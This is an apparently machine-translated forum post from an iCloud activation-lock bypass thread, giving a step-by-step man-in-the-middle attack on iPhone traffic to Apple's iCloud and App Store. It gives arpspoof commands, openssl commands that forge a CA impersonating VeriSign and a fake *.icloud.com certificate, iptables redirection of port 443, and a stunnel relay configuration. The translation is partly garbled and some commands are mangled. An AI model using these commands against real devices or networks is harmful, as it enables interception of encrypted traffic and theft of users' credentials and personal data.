ref
iphoneunlockforum.com/vbb/f189/icloud-activation-lock-bypass-thread-closed-127/index35.htmlBelow is a description of the technology, which can be used to decipher the protocols that communicate with services iOS Apple (AppStore, iCloud, etc). This technique may be useful for understanding the operation of services, and for an exhaustive answer to the question about what data Apple removes from your device.
Attack is carried out in several stages:
1 Assembling the stand.
2 Traffic Control.
3 to generate and install a self-styled CA.
4 Generation of false certificates for services, Apple and signature of the self-styled CA.
5 Carrying out MITM attacks using received certificates
1. Assembling the stand
The attacker's computer and the device placed in one apple L2 (802.11) network. Further, the input device in one subnet L3 example 192.168.1.0/24. Subnet must be configured to route to the Internet. Attacker to attack the most convenient to use Linux.
2. Traffic management
Offensive generating specially crafted ARP packets to the point that its MAC address on the target device is associated with a network gateway, a gateway, an attacker on the same principle, it becomes the attacked device. As a result, all traffic in both directions between the gateway and the device under attack flows through the attacker's computer (there are 100,500 ways to achieve such a state, arpspoof, probably the easiest, if no control over the gateway). To work successfully in this state need to forward packets to the attacker's computer, it is done
sysctl-w net.ipv4.ip_forward = 1 or # echo 1> / proc/sys/net/ipv4/ip_forward
spoofing using the old and reliable arpspoof:
# 192.168.1.101 - iphone # 192.168.1.101 - gateway arpspoof-i wlan0-t 192.168.1.101 192.168.1.1 arpspoof-i wlan0-t 192.168.1.1 192.168.1.101 # Teams must be performed in parallel
Verify successful intercept traffic possible through wireshark, setting filters ip uke (as wireshark in transit will see double-one package, it will mark their terrible color and swear by retransmity, but you can filter)
3. Generate a self-styled CA
Here it is necessary theoretical digression, since before the decision was clear had to experiment. All staff authentication procedure (passwords, certificates from the mail, wifi, etc.) to pass through the iOS demon securityd, which runs every time you need to pass authentication. All data (authentication secrets, etc), which uses a daemon is stored in sqlite database (keychain-2.db), which on my ipad bryaknut with the old firmware is in:
iPad :/ private / var / Keychains root # uname-a Darwin iPad 10.4.0 Darwin Kernel Version 10.4.0: Wed Oct 20 20:14:45 PDT 2010; root: xnu-1504.58.28 ~ 3/RELEASE_ARM_S5L8930X iPad1, 1 arm K48AP Darwin iPad :/ private / var / Keychains root # pwd / private / var / Keychains iPad :/ private / var / Keychains root # ls-liahs keychain-2 . db 147473 112K-rw ------- 1 _securityd wheel 112K Dec 19 00:11 keychain-2.db (as demonstrated by the sad experience, the right permissions on this file are critically important) details on how the data is organized in the database You can read <a href=http://www.opensource.apple.com/source/securityd/securityd-67/doc/BLOBFORMAT> here </ a>.
Since when connected to icloud iphone appstore or authenticating server certificate, it was at first did not understand why the authentication is successful, even if stripped or remote storage. Further studies have shown that some CA, including CA VeriSign (which certified server certificates Appple), were sewn directly into the executable securityd, where they apparently, and were taken to the authentication procedure when connecting to the server AppStore.
Established tools to work with CA in the iphone is designed so that the user can add to their iphone CA, which, apparently, should help authenticate any user of the system. However, the mechanism works so that nothing prevents us set our iphone "self-styled» CA, which will be certified by us generated fake certificates for *. Itunes.apple.com and *. Icloud.com (why is Apple admits - a separate issue ). Remarkably, this procedure is native and does not require any jailbreak.
I generated the CA as follows:
[20:36:02 dev @ sandbox: ~ / CA] $ openssl req-new-x509-days 3650-extensions v3_ca-keyout private / cakey.pem-out cacert.pem Generating a 1024 bit RSA private key .... .................................................. ................... + + + + + + ......................... ................ + + + + + + writing new private key to 'private / cakey.pem' Enter PEM pass phrase: Verifying - Enter PEM pass phrase: ---- - You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', The field will be left blank. ----- Country Name (2 letter code) [AU]: US State or Province Name (full name) [Some-State]: VeriSign Locality Name (eg, city) []: VeriSign Trust Network Organization Name (eg, company) [Internet Widgits Pty Ltd]: VeriSign Inc Organizational Unit Name (eg, section) []: Terms of use at
www.verisign.com/rpa (c) 09 Common Name (eg, YOUR name) []: VeriSign Class 3 Secure Server CA - G2 Email Address []:
The resulting cacert.pem can be sent to iphone, as an attachment to e-mail, setting can be spelled out of letter.
4. Generated fake certificates for services, Apple
Produced in two stages: first generate query then sign it to our CA:
[21:10:52 dev @ sandbox: ~ / CA] $ openssl req-new-nodes-out my_icloud_apple_req.pem-keyout my_icloud_apple_key.pem Generating a 1024 bit RSA private key ...... + + + + + + . + + + + + + writing new private key to 'my_icloud_apple_key.pem' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', The field will be left blank. ----- Country Name (2 letter code) [AU]: US State or Province Name (full name) [Some-State]: california Locality Name (eg, city) []: cupertino Organization Name (eg, company) [Internet Widgits Pty Ltd]: Apple Inc Organizational Unit Name (eg, section) []: iTMS Common Name (eg, YOUR name) []: *. icloud.com Email Address []: Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: [22:42:33 dev @ sandbox: ~ / CA] $ openssl x509-req-days 365-in my_icloud_apple_req.pem-CA cacert . pem-CAkey private / cakey.pem-set_serial 01-out my_icloud_apple_cert.pem Signature ok subject = / C = US / ST = california / L = cupertino / O = Apple Inc / OU = iTMS / CN = *. icloud.com Getting CA Private Key Enter pass phrase for private / cakey.pem: [22:44:20 dev @ sandbox: ~ / CA] $ # appstore to do the same
5. Conducting MITM attack using received certificates
After we passed through the traffic itself and did everything described with certificates, we need to intercept all connections to services of interest to us and pass them through our design. You can do this stupid and reliable way: intercepting all the connections on port 443:
iptables-A FORWARD-j ACCEPT iptables-t nat-A PREROUTING-p tcp-m tcp - dport 443-j REDIRECT - to-ports 8443
So all the connections on 443 iphone, will be transferred to an essence that will listen locally on port 8443. In my case it was stunnel with the following config:
; PID is created inside the chroot jail pid = / stunnel.pid; Debugging stuff (may useful for troubleshooting) debug = 7 output = / var / log / stunnel.log; What we nagenerili above cert = / home / dev / CA / my_icloud_apple_cert.pem key = / home / dev / CA / my_icloud_apple_key.pem; Disable support for insecure SSLv2 protocol options = NO_SSLv2; All on https 8443 which came to be sent in the clear on 9000 [https_s] accept = 0.0.0.0:8443 connect = 0.0.0.0:9000; All which came to 9500 in the clear, will draped in https and sent to the server icloud [https_c] client = yes accept = 0.0.0.0:9500 connect = 17.172.208.53:443
As seen from this config, so the chain withdrew, needs proksik 9000> 9500, through which traffic will be in the clear, I use an Burp Suite
All right, now you can study protocols and Apple finally learn what secrets your personality fly straight into the dark cellars Cupertino =)
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiTweet this Post!
